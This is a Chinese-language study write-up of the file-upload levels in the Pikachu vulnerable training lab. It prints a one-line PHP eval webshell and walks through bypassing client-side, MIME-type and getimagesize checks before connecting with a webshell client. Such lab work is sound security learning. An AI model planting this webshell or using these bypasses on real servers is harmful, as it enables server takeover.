fileupload-基于pikachu的学习
文件上传
原理
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...
Pikachu
client check
打开题目,就是上传不成功,说文件不符合,F12去找找源码
发现前端验证,我们就给一句话木马明明test.jpg,然后抓包改名字,一句话木马如下
<?php@eval($_POST['cmd']);?>
然后给文件名改为test.php
上传后有路径
蚁剑连接一下
MIME type
MIME:当文件的扩展名是用一种应用程序来打开的方式类型,当扩展名文件被访问的时候,浏览器会自动指定应用程序来打开。
有点绕口,通俗点就是,我们上传的文件被判定为content-type字段时,可以通过抓包,将content-type字段改为常见的图片类型,例如inamge/gif,从而绕过。也就是我们上传php文件时,可以改为jpg、png之类的,然后实现绕过。
MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。
常见的MME类型,例如:
超文本标记语言文本 .html,html text/htm
普通文本 .txt text/plain
RTF文本. rtf application/rtf
GIF图形 .gif image/gif
JPEG图形 . jpg image/jpeg
所以这道题我们就是改一下content-type字段,然后上传
老规矩抓包
由于我这边上传的就是上一题的那个木马后缀为jpg,所以这里的字段就是jpg,我们直接改一下文件后缀,和上一题一样
这次改成test2.php,上传成功
然后蚁剑试着连接一下吧
连接成功
getimagesize
php getimagesize 函数 - 获取图像信息
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
语法格式:
array getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
这道题我们试试传前两关用的一句话木马试试
上传失败,我们再抓包改改文件内容试试,加了一个文件头GIF89a试试
上传成功
但是这上传的都是图片,一般需要配合上传
.user.ini
.htaccess
详情了解这个文件看
文件上传之 .htaccess文件getshell_上传.htaccess后再上传jpg文件-CSDN博客
这道题回显如下
所以也是没办法了,最后搜了搜大家的题解,就是配合前几关的文件包含去执行。